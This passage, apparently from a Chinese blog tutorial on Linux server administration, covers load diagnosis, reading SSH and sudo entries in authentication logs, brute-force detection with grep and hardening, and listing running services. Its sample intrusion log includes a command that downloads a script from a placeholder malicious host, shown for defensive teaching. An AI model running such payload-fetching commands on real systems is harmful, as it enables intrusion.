\u957f\u671f\u8f83\u7a7a\u95f2\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u8d1f\u8f7d\u9ad8\u7684\u5e38\u89c1\u539f\u56e0<\/h4>\n<li>\n<p>CPU\u5bc6\u96c6\u578b\u4efb\u52a1&#xff1a;\u4ee3\u7801\u6b7b\u5faa\u73af\u3001\u5927\u91cf\u8ba1\u7b97\u3002<\/p>\n<\/li>\n<li>\n<p>\u78c1\u76d8I\/O\u8fc7\u9ad8&#xff1a;\u9891\u7e41\u8bfb\u5199\u5927\u6587\u4ef6\u3001\u6570\u636e\u5e93\u67e5\u8be2\u6162\u3002<\/p>\n<\/li>\n<li>\n<p>\u5185\u5b58\u4e0d\u8db3&#xff1a;\u9891\u7e41\u4ea4\u6362\u5185\u5b58\u5230\u78c1\u76d8&#xff08;SWAP&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u5927\u91cf\u7f51\u7edc\u8bf7\u6c42&#xff1a;DDoS\u653b\u51fb\u3001\u9ad8\u5e76\u53d1\u8bbf\u95ee\u3002<\/p>\n<\/li>\n<hr \/>\n<h4>\u4e0b\u4e00\u6b65\u64cd\u4f5c\u5efa\u8bae<\/h4>\n<li>\n<p>\u5feb\u901f\u5b9a\u4f4d\u95ee\u9898&#xff1a;<\/p>\n<p> top                # \u67e5\u770b\u5b9e\u65f6\u8fdb\u7a0b&#xff08;\u6309P\u6309CPU\u6392\u5e8f&#xff0c;\u6309M\u6309\u5185\u5b58\u6392\u5e8f&#xff09;<br \/>\nhtop               # \u66f4\u53cb\u597d\u7684\u4ea4\u4e92\u5f0f\u76d1\u63a7\u5de5\u5177&#xff08;\u9700\u5b89\u88c5&#xff09;<br \/>\niostat -x 1        # \u67e5\u770b\u78c1\u76d8IO\u60c5\u51b5&#xff08;%util\u63a5\u8fd1100%\u8868\u793a\u78c1\u76d8\u6ee1\u8d1f\u8377&#xff09;  <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"549\" src=\"https:\/\/i-blog.csdnimg.cn\/direct\/b715f79f44d44af7a92700e4dbca1f55.png\" width=\"585\" \/> &#xff08;htop\u754c\u9762\u793a\u4f8b&#xff1a;\u7ea2\u6846\u6807\u51fa\u9ad8\u8d1f\u8f7d\u8fdb\u7a0b&#xff09;<\/p>\n<\/li>\n<li>\n<p>\u9488\u5bf9\u6027\u89e3\u51b3&#xff1a;<\/p>\n<ul>\n<li>\n<p>CPU\u9ad8&#xff1a;\u7ed3\u675f\u5f02\u5e38\u8fdb\u7a0b&#xff08;kill \u8fdb\u7a0bID&#xff09;\u3001\u4f18\u5316\u4ee3\u7801\u903b\u8f91\u3002<\/p>\n<\/li>\n<li>\n<p>\u78c1\u76d8IO\u9ad8&#xff1a;\u51cf\u5c11\u65e5\u5fd7\u8f93\u51fa\u3001\u5347\u7ea7SSD\u3001\u68c0\u67e5\u6570\u636e\u5e93\u7d22\u5f15\u3002<\/p>\n<\/li>\n<li>\n<p>\u5185\u5b58\u4e0d\u8db3&#xff1a;\u5173\u95ed\u4e0d\u9700\u8981\u7684\u670d\u52a1\u3001\u589e\u52a0\u7269\u7406\u5185\u5b58\u3001\u4f18\u5316\u7a0b\u5e8f\u5185\u5b58\u6cc4\u6f0f\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<h4>\u5b9e\u9645\u6848\u4f8b<\/h4>\n<p>\u573a\u666f&#xff1a;\u8d1f\u8f7d\u7a81\u7136\u98d9\u5347\u81f3\u00a08.00&#xff08;4\u6838CPU\u670d\u52a1\u5668&#xff09;\u3002 \u6392\u67e5&#xff1a;<\/p>\n<li>\n<p>\u7528\u00a0top\u00a0\u53d1\u73b0\u4e00\u4e2a\u00a0python\u00a0\u8fdb\u7a0b\u5360\u7528 200% CPU&#xff08;\u8868\u793a\u5360\u6ee12\u4e2a\u6838&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u53d1\u73b0\u662f\u722c\u866b\u7a0b\u5e8f\u6b7b\u5faa\u73af \u2192 \u4f18\u5316\u4ee3\u7801\u6216\u9650\u5236\u8d44\u6e90\u3002<\/p>\n<\/li>\n<li>\n<p>\u8d1f\u8f7d\u964d\u81f3\u00a02.00&#xff0c;\u6062\u590d\u5065\u5eb7\u3002<\/p>\n<\/li>\n<hr \/>\n<p>\u901a\u8fc7\u00a0uptime\u00a0\u5feb\u901f\u5224\u65ad\u670d\u52a1\u5668\u538b\u529b&#xff0c;\u7ed3\u5408\u5176\u4ed6\u5de5\u5177\u5b9a\u4f4d\u95ee\u9898&#xff0c;\u5c31\u50cf\u533b\u751f\u7528\u4f53\u6e29\u8ba1&#043;\u542c\u8bca\u5668\u5feb\u901f\u8bca\u65ad\u75c5\u60c5\u4e00\u6837\u9ad8\u6548&#xff01; &#x1f691;<\/p>\n<h2 id=\"auth-logs\" style=\"margin-left:.625rem;margin-right:0;text-align:start\"><span style=\"color:var(--tw-prose-headings)\"><span style=\"background-color:#ffffff\">\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7<\/span><\/span><\/h2>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u5728\u5904\u7406 Linux \u670d\u52a1\u5668\u53ca\u5176\u7ef4\u62a4\u65f6&#xff0c;\u9700\u8981\u5b9a\u671f\u5ba1\u67e5\u7684\u6700\u5173\u952e\u7ec4\u4ef6\u4e4b\u4e00\u662f\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7\u3002\u8fd9\u4e9b\u65e5\u5fd7\u901a\u5e38\u4f4d\u4e8e \/var\/log\/auth.log&#xff08;\u5bf9\u4e8e\u57fa\u4e8e Debian \u7684\u53d1\u884c\u7248&#xff09;\u6216 \/var\/log\/secure&#xff08;\u5bf9\u4e8e Red Hat \u548c CentOS&#xff09;\u4e2d&#xff0c;\u8bb0\u5f55\u670d\u52a1\u5668\u4e0a\u53d1\u751f\u7684\u6240\u6709\u4e0e\u8eab\u4efd\u9a8c\u8bc1\u76f8\u5173\u7684\u4e8b\u4ef6\u548c\u6d3b\u52a8\u3002\u5176\u4e2d\u5305\u62ec\u7cfb\u7edf\u767b\u5f55\u3001\u5bc6\u7801\u66f4\u6539\u548c\u53d1\u51fa\u7684 sudo \u547d\u4ee4\u7b49\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7\u662f\u76d1\u63a7\u548c\u5206\u6790 Linux \u670d\u52a1\u5668\u5b89\u5168\u6027\u7684\u5b9d\u8d35\u5de5\u5177\u3002\u5b83\u4eec\u53ef\u4ee5\u6307\u793a\u66b4\u529b\u767b\u5f55\u653b\u51fb\u3001\u672a\u7ecf\u6388\u6743\u7684\u8bbf\u95ee\u5c1d\u8bd5\u548c\u4efb\u4f55\u53ef\u7591\u884c\u4e3a\u3002\u5b9a\u671f\u5206\u6790\u8fd9\u4e9b\u65e5\u5fd7\u662f\u786e\u4fdd\u670d\u52a1\u5668\u5b89\u5168\u6027\u548c\u6570\u636e\u5b8c\u6574\u6027\u7684\u4e00\u9879\u57fa\u672c\u4efb\u52a1\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u4ee5\u4e0b\u662f\u5982\u4f55\u4f7f\u7528\u547d\u4ee4\u67e5\u770b\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7\u7684\u6700\u540e\u51e0\u4e2a\u6761\u76ee\u7684\u793a\u4f8b&#xff1a;tail<\/span><\/span><\/p>\n<p>tail \/var\/log\/auth.log <\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u719f\u6089\u9605\u8bfb\u548c\u7406\u89e3\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7&#xff0c;\u56e0\u4e3a\u8fd9\u662f\u786e\u4fdd\u670d\u52a1\u5668\u5b89\u5168\u7684\u91cd\u8981\u65b9\u6cd5\u3002<\/span><\/span><\/p>\n<p>Linux \u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7\u5c31\u50cf\u670d\u52a1\u5668\u7684\u201c\u5b89\u5168\u76d1\u63a7\u5f55\u50cf\u201d&#xff0c;\u8be6\u7ec6\u8bb0\u5f55\u4e86\u8c01\u5728\u4ec0\u4e48\u65f6\u5019\u3001\u4ee5\u4ec0\u4e48\u65b9\u5f0f\u767b\u5f55\u8fc7\u7cfb\u7edf&#xff0c;\u4ee5\u53ca\u505a\u4e86\u54ea\u4e9b\u9700\u8981\u6743\u9650\u7684\u64cd\u4f5c\u3002\u5b83\u662f\u6392\u67e5\u9ed1\u5ba2\u5165\u4fb5\u3001\u8ffd\u8e2a\u5f02\u5e38\u884c\u4e3a\u7684\u201c\u7834\u6848\u795e\u5668\u201d&#xff01;\u4ee5\u4e0b\u662f\u901a\u4fd7\u89e3\u8bfb&#xff1a;<\/p>\n<hr \/>\n<h4>\u4e00\u3001\u65e5\u5fd7\u6587\u4ef6\u5728\u54ea&#xff1f;<\/h4>\n<ul>\n<li>\n<p>Debian\/Ubuntu&#xff1a;\/var\/log\/auth.log<\/p>\n<\/li>\n<li>\n<p>RedHat\/CentOS&#xff1a;\/var\/log\/secure<\/p>\n<\/li>\n<li>\n<p>\u67e5\u770b\u6700\u65b0\u65e5\u5fd7&#xff08;\u5b9e\u65f6\u76d1\u63a7&#xff09;&#xff1a;<\/p>\n<p> sudo tail -f \/var\/log\/auth.log  # \u5b9e\u65f6\u6eda\u52a8\u663e\u793a\u6700\u65b0\u65e5\u5fd7&#xff08;\u6309Ctrl&#043;C\u9000\u51fa&#xff09;  <\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e8c\u3001\u65e5\u5fd7\u91cc\u8bb0\u5f55\u4e86\u4ec0\u4e48&#xff1f;<\/h4>\n<h5>1\ufe0f\u20e3\u00a0SSH \u767b\u5f55\u8bb0\u5f55<\/h5>\n<ul>\n<li>\n<p>\u767b\u5f55\u6210\u529f&#xff1a;<\/p>\n<p> May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2  <\/p>\n<ul>\n<li>\n<p>\u5173\u952e\u4fe1\u606f&#xff1a;\u7528\u6237\u00a0root\u00a0\u4ece IP\u00a0192.168.1.100\u00a0\u901a\u8fc7\u5bc6\u7801\u767b\u5f55\u6210\u529f\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u767b\u5f55\u5931\u8d25&#xff1a;<\/p>\n<p> May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2  <\/p>\n<ul>\n<li>\n<p>\u5371\u9669\u4fe1\u53f7&#xff1a;\u975e\u6cd5\u7528\u6237\u00a0hacker\u00a0\u4ece\u00a0203.0.113.5\u00a0\u5c1d\u8bd5\u5bc6\u7801\u767b\u5f55\u5931\u8d25&#xff01;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h5>2\ufe0f\u20e3\u00a0sudo \u547d\u4ee4\u8bb0\u5f55<\/h5>\n<ul>\n<li>\n<p>\u7528\u6237\u63d0\u6743\u64cd\u4f5c&#xff1a;<\/p>\n<p> May 25 15:00:00 server sudo:   alice : TTY&#061;pts\/0 ; PWD&#061;\/home\/alice ; USER&#061;root ; COMMAND&#061;\/usr\/bin\/apt update  <\/p>\n<ul>\n<li>\n<p>\u89e3\u8bfb&#xff1a;\u7528\u6237\u00a0alice\u00a0\u7528\u00a0sudo\u00a0\u4ee5\u00a0root\u00a0\u8eab\u4efd\u6267\u884c\u4e86\u00a0apt update\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h5>3\ufe0f\u20e3\u00a0\u7528\u6237\u8d26\u6237\u53d8\u66f4<\/h5>\n<ul>\n<li>\n<p>\u521b\u5efa\/\u5220\u9664\u7528\u6237&#xff1a;<\/p>\n<p> May 25 16:00:00 server useradd[2345]: new user: name&#061;test, UID&#061;1001, GID&#061;1001<br \/>\nMay 25 16:05:00 server userdel[3456]: delete user &#039;test&#039;  <\/p>\n<ul>\n<li>\n<p>\u76d1\u63a7\u91cd\u70b9&#xff1a;\u975e\u7ba1\u7406\u5458\u521b\u5efa\u7684\u672a\u77e5\u7528\u6237\u53ef\u80fd\u662f\u540e\u95e8\u8d26\u6237&#xff01;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e09\u3001\u5982\u4f55\u5feb\u901f\u5206\u6790\u65e5\u5fd7&#xff1f;<\/h4>\n<h5>1\ufe0f\u20e3\u00a0\u627e\u201c\u66b4\u529b\u7834\u89e3\u201d\u653b\u51fb<\/h5>\n<ul>\n<li>\n<p>\u7edf\u8ba1\u67d0\u4e2a IP \u7684\u5931\u8d25\u767b\u5f55\u6b21\u6570&#xff1a;<\/p>\n<p> grep &#034;Failed password&#034; \/var\/log\/auth.log | awk &#039;{print $11}&#039; | sort | uniq -c | sort -nr<br \/>\n# \u8f93\u51fa\u793a\u4f8b&#xff1a;<br \/>\n# 100 203.0.113.5<br \/>\n# 2   192.168.1.100  <\/p>\n<ul>\n<li>\n<p>\u7ed3\u679c\u89e3\u8bfb&#xff1a;IP\u00a0203.0.113.5\u00a0\u5c1d\u8bd5\u4e86 100 \u6b21\u5bc6\u7801&#xff0c;\u6781\u53ef\u80fd\u662f\u653b\u51fb\u8005&#xff01;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5>2\ufe0f\u20e3\u00a0\u68c0\u67e5\u53ef\u7591\u7684 sudo \u64cd\u4f5c<\/h5>\n<ul>\n<li>\n<p>\u67e5\u770b\u6240\u6709 sudo \u63d0\u6743\u8bb0\u5f55&#xff1a;<\/p>\n<p> grep &#034;sudo:&#034; \/var\/log\/auth.log  <\/li>\n<\/ul>\n<h5>3\ufe0f\u20e3\u00a0\u8ffd\u8e2a\u7528\u6237\u767b\u5f55\u5386\u53f2<\/h5>\n<ul>\n<li>\n<p>\u67e5\u770b\u6240\u6709\u6210\u529f\u767b\u5f55\u8bb0\u5f55&#xff1a;<\/p>\n<p> grep &#034;Accepted&#034; \/var\/log\/auth.log  <\/li>\n<\/ul>\n<hr \/>\n<h4>\u56db\u3001\u5b89\u5168\u52a0\u56fa\u5efa\u8bae<\/h4>\n<li>\n<p>\u5c01\u7981\u66b4\u529bIP&#xff1a;<\/p>\n<p> sudo fail2ban-client status sshd  # \u67e5\u770b\u88ab\u7981IP&#xff08;\u9700\u5b89\u88c5fail2ban&#xff09;<br \/>\nsudo iptables -A INPUT -s 203.0.113.5 -j DROP  # \u624b\u52a8\u5c01\u7981IP  <\/li>\n<li>\n<p>\u7981\u7528\u5bc6\u7801\u767b\u5f55&#xff0c;\u6539\u7528SSH\u5bc6\u94a5&#xff1a;<\/p>\n<p> # \u4fee\u6539SSH\u914d\u7f6e \/etc\/ssh\/sshd_config<br \/>\nPasswordAuthentication no<br \/>\nPermitRootLogin no  <\/li>\n<li>\n<p>\u8bbe\u7f6e\u65e5\u5fd7\u76d1\u63a7\u544a\u8b66&#xff08;\u5982\u7528\u00a0logwatch\u00a0\u6216\u00a0ELK\u00a0\u5806\u6808&#xff09;\u3002<\/p>\n<\/li>\n<hr \/>\n<h4>\u5b9e\u9645\u6848\u4f8b&#xff1a;\u53d1\u73b0\u5165\u4fb5\u75d5\u8ff9<\/h4>\n<p>\u65e5\u5fd7\u7247\u6bb5&#xff1a;<\/p>\n<p>May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22<br \/>\nMay 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22<br \/>\nMay 25 03:05:00 server sudo:   root : TTY&#061;pts\/0 ; COMMAND&#061;\/usr\/bin\/wget http:\/\/\u6076\u610f\u7f51\u7ad9.com\/x.sh <\/p>\n<p>\u5206\u6790&#xff1a;<\/p>\n<li>\n<p>\u653b\u51fb\u8005\u4ece\u00a0203.0.113.5\u00a0\u66b4\u529b\u7834\u89e3\u4e86 root \u5bc6\u7801\u3002<\/p>\n<\/li>\n<li>\n<p>\u767b\u5f55\u540e\u4e0b\u8f7d\u4e86\u53ef\u7591\u811a\u672c\u00a0x.sh&#xff08;\u53ef\u80fd\u662f\u6728\u9a6c&#xff09;\u3002 \u5e94\u5bf9&#xff1a;\u7acb\u5373\u5c01\u9501IP&#xff0c;\u68c0\u67e5\u7cfb\u7edf\u540e\u95e8&#xff0c;\u91cd\u7f6eroot\u5bc6\u7801&#xff01;<\/p>\n<\/li>\n<hr \/>\n<p>\u901a\u8fc7\u5b9a\u671f\u201c\u7ffb\u770b\u201d\u8fd9\u4e9b\u65e5\u5fd7&#xff0c;\u4f60\u5c31\u50cf\u670d\u52a1\u5668\u7684\u4fdd\u5b89\u961f\u957f&#xff0c;\u80fd\u7b2c\u4e00\u65f6\u95f4\u63ea\u51fa\u53ef\u7591\u5206\u5b50&#xff01;&#x1f50d;<\/p>\n<h2 id=\"services-running\" style=\"margin-left:.625rem;margin-right:0;text-align:start\"><span style=\"color:var(--tw-prose-headings)\"><span style=\"background-color:#ffffff\">\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1<\/span><\/span><\/h2>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">Linux \u670d\u52a1\u5668\u56e0\u5176\u7a33\u5b9a\u6027\u548c\u7075\u6d3b\u6027\u800c\u5e7f\u53d7\u6b22\u8fce&#xff0c;\u8fd9\u4e9b\u56e0\u7d20\u4f7f\u5b83\u4eec\u6210\u4e3a\u4f01\u4e1a\u548c\u7ec4\u7ec7\u5728\u7ba1\u7406\u5404\u79cd\u670d\u52a1\u65f6\u7684\u9996\u9009\u3002\u5728 Linux \u670d\u52a1\u5668\u4e0b\u8fd0\u884c\u7684\u670d\u52a1\u8303\u56f4\u4ece Web \u670d\u52a1\u5230\u6570\u636e\u5e93\u670d\u52a1\u3001DNS \u670d\u52a1\u5668\u3001\u90ae\u4ef6\u670d\u52a1\u5668\u7b49\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u4f5c\u4e3a Linux \u7cfb\u7edf\u7ba1\u7406\u5458&#xff0c;\u5b9a\u671f\u67e5\u770b\u8fd9\u4e9b\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1\u4ee5\u7ba1\u7406\u8d44\u6e90\u3001\u68c0\u67e5\u5176\u72b6\u6001\u548c\u89e3\u51b3\u95ee\u9898&#xff0c;\u4ece\u800c\u786e\u4fdd\u670d\u52a1\u5668\u7684\u8fd0\u884c\u72b6\u51b5\u548c\u6027\u80fd\u975e\u5e38\u91cd\u8981\u3002<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">Linux \u6709\u591a\u79cd\u5de5\u5177\u53ef\u4ee5\u5b9e\u73b0\u6b64\u76ee\u7684&#xff0c;\u4f8b\u5982&#xff1a;\u3001\u3001 \u548c \u3002systemctlservicenetstatsslsof<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u4f8b\u5982&#xff0c;\u8be5\u547d\u4ee4\u5728 Linux \u7cfb\u7edf\u4e0a\u5e7f\u6cdb\u4f7f\u7528&#xff0c;\u7528\u4e8e\u5217\u51fa\u6240\u6709\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1&#xff1a;systemctl<\/span><\/span><\/p>\n<p>systemctl &#8211;type&#061;service  <\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u6b64\u547d\u4ee4\u5c06\u663e\u793a\u6240\u6709\u6d3b\u52a8\u670d\u52a1\u7684\u5217\u8868\u53ca\u5176\u5f53\u524d\u72b6\u6001\u3002\u5b83\u662f\u670d\u52a1\u5668\u7ba1\u7406\u7684\u5fc5\u9700\u54c1&#xff0c;\u5e94\u8be5\u6210\u4e3a\u4efb\u4f55 Linux \u7cfb\u7edf\u7ba1\u7406\u5458\u5de5\u5177\u7bb1\u7684\u4e00\u90e8\u5206\u3002<\/span><\/span><\/p>\n<p>\u5728 Linux \u670d\u52a1\u5668\u4e2d&#xff0c;**\u201c\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1\u201d**\u5c31\u50cf\u4e00\u53f0\u591a\u529f\u80fd\u673a\u5668\u4e0a\u7684\u5404\u79cd\u201c\u5de5\u4f5c\u6a21\u5757\u201d\u2014\u2014\u6bd4\u5982\u8d1f\u8d23\u7f51\u7ad9\u670d\u52a1\u7684\u201c\u6a21\u5757\u201d\u3001\u7ba1\u7406\u6570\u636e\u5e93\u7684\u201c\u6a21\u5757\u201d\u3001\u5904\u7406\u90ae\u4ef6\u7684\u201c\u6a21\u5757\u201d\u7b49\u3002\u4f5c\u4e3a\u7ba1\u7406\u5458&#xff0c;\u4f60\u9700\u8981\u77e5\u9053\u54ea\u4e9b\u6a21\u5757\u6b63\u5728\u8fd0\u884c\u3001\u662f\u5426\u5065\u5eb7&#xff0c;\u4ee5\u53ca\u5b83\u4eec\u5360\u7528\u4e86\u591a\u5c11\u8d44\u6e90\u3002\u4ee5\u4e0b\u662f\u901a\u4fd7\u6613\u61c2\u7684\u68c0\u67e5\u65b9\u6cd5&#xff1a;<\/p>\n<hr \/>\n<h4>\u4e00\u3001\u67e5\u770b\u670d\u52a1\u5217\u8868&#xff1a;\u7528\u201c\u670d\u52a1\u9065\u63a7\u5668\u201d<\/h4>\n<h5>1.\u00a0systemctl\u00a0\u547d\u4ee4&#xff08;\u4e3b\u6d41\u5de5\u5177&#xff0c;\u9002\u7528\u4e8e\u5927\u591a\u6570\u65b0\u7cfb\u7edf&#xff09;<\/h5>\n<ul>\n<li>\n<p>\u5217\u51fa\u6240\u6709\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1&#xff1a;<\/p>\n<p> systemctl list-units &#8211;type&#061;service &#8211;state&#061;running  <\/p>\n<p>\u8f93\u51fa\u793a\u4f8b&#xff1a;<\/p>\n<p> UNIT                LOAD   ACTIVE SUB     DESCRIPTION<br \/>\nnginx.service       loaded active running Nginx Web Server<br \/>\nmysql.service       loaded active running MySQL Database<br \/>\nssh.service         loaded active running OpenSSH Server  <\/p>\n<ul>\n<li>\n<p>\u5173\u952e\u4fe1\u606f&#xff1a;ACTIVE\u00a0\u663e\u793a\u670d\u52a1\u72b6\u6001&#xff08;active\u00a0\u8868\u793a\u6b63\u5e38\u8fd0\u884c&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u67d0\u4e2a\u670d\u52a1\u7684\u8be6\u7ec6\u72b6\u6001&#xff08;\u5982Nginx&#xff09;&#xff1a;<\/p>\n<p> systemctl status nginx  <\/p>\n<p>\u8f93\u51fa\u793a\u4f8b&#xff1a;<\/p>\n<p> \u25cf nginx.service &#8211; Nginx Web Server<br \/>\n   Loaded: loaded (\/lib\/systemd\/system\/nginx.service; enabled; vendor preset: enabled)<br \/>\n   Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days ago<br \/>\n   Main PID: 1234 (nginx)<br \/>\n   CGroup: \/system.slice\/nginx.service<br \/>\n           \u251c\u25001234 nginx: master process \/usr\/sbin\/nginx<br \/>\n           \u2514\u25001235 nginx: worker process  <\/p>\n<ul>\n<li>\n<p>\u5173\u6ce8\u70b9&#xff1a;Active&#xff08;\u8fd0\u884c\u72b6\u6001&#xff09;\u3001Main PID&#xff08;\u8fdb\u7a0bID&#xff09;\u3001\u65e5\u5fd7\u7247\u6bb5\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h5>2.\u00a0service\u00a0\u547d\u4ee4&#xff08;\u65e7\u7cfb\u7edf\u517c\u5bb9\u5de5\u5177&#xff0c;\u64cd\u4f5c\u66f4\u7b80\u5355&#xff09;<\/h5>\n<ul>\n<li>\n<p>\u5217\u51fa\u6240\u6709\u670d\u52a1&#xff08;\u4ec5\u663e\u793a\u90e8\u5206&#xff09;&#xff1a;<\/p>\n<p> service &#8211;status-all  <\/p>\n<p>\u8f93\u51fa\u793a\u4f8b&#xff1a;<\/p>\n<p> [ &#043; ]  nginx<br \/>\n[ &#8211; ]  mysql<br \/>\n[ ? ]  docker  <\/p>\n<ul>\n<li>\n<p>\u7b26\u53f7\u89e3\u8bfb&#xff1a;&#043;\u00a0\u8868\u793a\u8fd0\u884c\u4e2d&#xff0c;-\u00a0\u8868\u793a\u5df2\u505c\u6b62&#xff0c;?\u00a0\u8868\u793a\u72b6\u6001\u672a\u77e5\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e8c\u3001\u68c0\u67e5\u7f51\u7edc\u670d\u52a1&#xff1a;\u7528\u201c\u7f51\u7edc\u76d1\u63a7\u5668\u201d<\/h4>\n<h5>1.\u00a0ss\u00a0\u6216\u00a0netstat\u00a0\u547d\u4ee4&#xff08;\u67e5\u770b\u670d\u52a1\u76d1\u542c\u7684\u7aef\u53e3&#xff09;<\/h5>\n<ul>\n<li>\n<p>\u5217\u51fa\u6240\u6709\u76d1\u542c\u7aef\u53e3\u7684\u670d\u52a1&#xff1a;<\/p>\n<p> ss -tulnp  # \u63a8\u8350\u4f7f\u7528&#xff08;\u66f4\u9ad8\u6548&#xff09;<br \/>\n# \u6216<br \/>\nnetstat -tulnp  # \u4f20\u7edf\u547d\u4ee4&#xff08;\u9010\u6e10\u88abss\u53d6\u4ee3&#xff09;  <\/p>\n<p>\u8f93\u51fa\u793a\u4f8b&#xff1a;<\/p>\n<p> Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port<br \/>\ntcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:((&#034;nginx&#034;,pid&#061;1234,fd&#061;6))<br \/>\ntcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:((&#034;mysqld&#034;,pid&#061;5678,fd&#061;10))  <\/p>\n<ul>\n<li>\n<p>\u5173\u952e\u4fe1\u606f&#xff1a;<\/p>\n<ul>\n<li>\n<p>0.0.0.0:80\u00a0\u2192 Nginx \u5728 80 \u7aef\u53e3\u76d1\u542c&#xff08;\u63d0\u4f9b Web \u670d\u52a1&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>127.0.0.1:3306\u00a0\u2192 MySQL \u53ea\u5141\u8bb8\u672c\u673a\u8bbf\u95ee\u6570\u636e\u5e93&#xff08;\u66f4\u5b89\u5168&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h5>2.\u00a0lsof\u00a0\u547d\u4ee4&#xff08;\u67e5\u770b\u670d\u52a1\u6253\u5f00\u7684\u6587\u4ef6\/\u7aef\u53e3&#xff09;<\/h5>\n<ul>\n<li>\n<p>\u67e5\u770b\u67d0\u4e2a\u670d\u52a1&#xff08;\u5982Nginx&#xff09;\u4f7f\u7528\u7684\u8d44\u6e90&#xff1a;<\/p>\n<p> sudo lsof -p $(pgrep nginx)  # \u9700\u5b89\u88c5 lsof<\/p>\n<p>\u8f93\u51fa\u793a\u4f8b&#xff1a;<\/p>\n<p> COMMAND  PID   USER   FD   TYPE DEVICE SIZE\/OFF NODE NAME<br \/>\nnginx   1234   root  cwd    DIR  253,1     4096    2 \/<br \/>\nnginx   1234   root  txt    REG  253,1  1160328 1234 \/usr\/sbin\/nginx<br \/>\nnginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)  <\/p>\n<ul>\n<li>\n<p>\u89e3\u8bfb&#xff1a;\u53ef\u4ee5\u770b\u5230 Nginx \u7684\u8fdb\u7a0b\u6253\u5f00\u4e86\u54ea\u4e9b\u6587\u4ef6\u3001\u76d1\u542c\u4e86\u54ea\u4e9b\u7aef\u53e3\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e09\u3001\u7ba1\u7406\u670d\u52a1\u7684\u5e38\u7528\u64cd\u4f5c<\/h4>\n<h5>1. \u542f\u52a8\/\u505c\u6b62\/\u91cd\u542f\u670d\u52a1<\/h5>\n<\/p>\n<p>sudo systemctl start nginx    # \u542f\u52a8<br \/>\nsudo systemctl stop nginx     # \u505c\u6b62<br \/>\nsudo systemctl restart nginx # \u91cd\u542f <\/p>\n<h5>2. \u7981\u6b62\u670d\u52a1\u5f00\u673a\u81ea\u542f<\/h5>\n<\/p>\n<p>sudo systemctl disable nginx <\/p>\n<h5>3. \u68c0\u67e5\u670d\u52a1\u662f\u5426\u5f00\u673a\u81ea\u542f<\/h5>\n<\/p>\n<p>systemctl is-enabled nginx <\/p>\n<hr \/>\n<h4>\u56db\u3001\u5b9e\u9645\u573a\u666f\u6848\u4f8b<\/h4>\n<h5>\u95ee\u9898&#xff1a;\u53d1\u73b0\u670d\u52a1\u5668 8080 